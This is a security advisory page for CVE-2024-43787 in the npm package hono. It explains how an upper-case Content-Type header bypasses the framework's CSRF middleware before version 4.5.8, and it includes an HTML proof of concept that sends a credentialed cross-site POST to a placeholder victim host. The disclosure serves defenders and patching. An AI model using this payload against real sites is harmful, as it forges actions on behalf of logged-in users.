ghsa-rpfr-3m35-5vx5
Vulnerability from github
Published
2024-08-22 16:41
Modified
2024-11-18 16:27
Severity ?
5.0 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
2.3 (Low) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
2.3 (Low) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
VLAI Severity ?
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header
Details
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but isRequestedByFormElementRe
only matches lower-case.
https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
```html
CSRF Test document.addEventListener("DOMContentLoaded", () => { document.getElementById("btn").addEventListener("click", async () => { const res = await fetch("http://victim.example.com/test", { method: "POST", credentials: "include", headers: { "Content-Type": "Application/x-www-form-urlencoded", }, }); }); });CSRF Test
Click me!```
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
{ "affected": [ { "package": { "ecosystem": "npm", "name": "hono" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "4.5.8" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-43787" ], "database_specific": { "cwe_ids": [ "CWE-352" ], "github_reviewed": true, "github_reviewed_at": "2024-08-22T16:41:08Z", "nvd_published_at": "2024-08-22T15:15:16Z", "severity": "LOW" }, "details": "### Summary\n\nHono CSRF middleware can be bypassed using crafted Content-Type header.\n\n### Details\n\nMIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.\n\nhttps://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17\n\nAs a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as \"Application/x-www-form-urlencoded\".\n\n### PoC\n\n```html\n\u003chtml\u003e\n \u003chead\u003e\n \u003ctitle\u003eCSRF Test\u003c/title\u003e\n \u003cscript defer\u003e\n document.addEventListener(\"DOMContentLoaded\", () =\u003e {\n document.getElementById(\"btn\").addEventListener(\"click\", async () =\u003e {\n const res = await fetch(\"http://victim.example.com/test\", {\n method: \"POST\",\n credentials: \"include\",\n headers: {\n \"Content-Type\": \"Application/x-www-form-urlencoded\",\n },\n });\n });\n });\n \u003c/script\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003ch1\u003eCSRF Test\u003c/h1\u003e\n \u003cbutton id=\"btn\"\u003eClick me!\u003c/button\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nBypass csrf protection implemented with hono csrf middleware.\n\n### Discussion\n\nI\u0027m not sure that omitting csrf checks for Simple POST request is a good idea.\nCSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.\n", "id": "GHSA-rpfr-3m35-5vx5", "modified": "2024-11-18T16:27:06Z", "published": "2024-08-22T16:41:08Z", "references": [ { "type": "WEB", "url": "https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43787" }, { "type": "WEB", "url": "https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449" }, { "type": "PACKAGE", "url": "https://github.com/honojs/hono" }, { "type": "WEB", "url": "https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Hono CSRF middleware can be bypassed using crafted Content-Type header" }
Loading…
Loading…
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
Loading…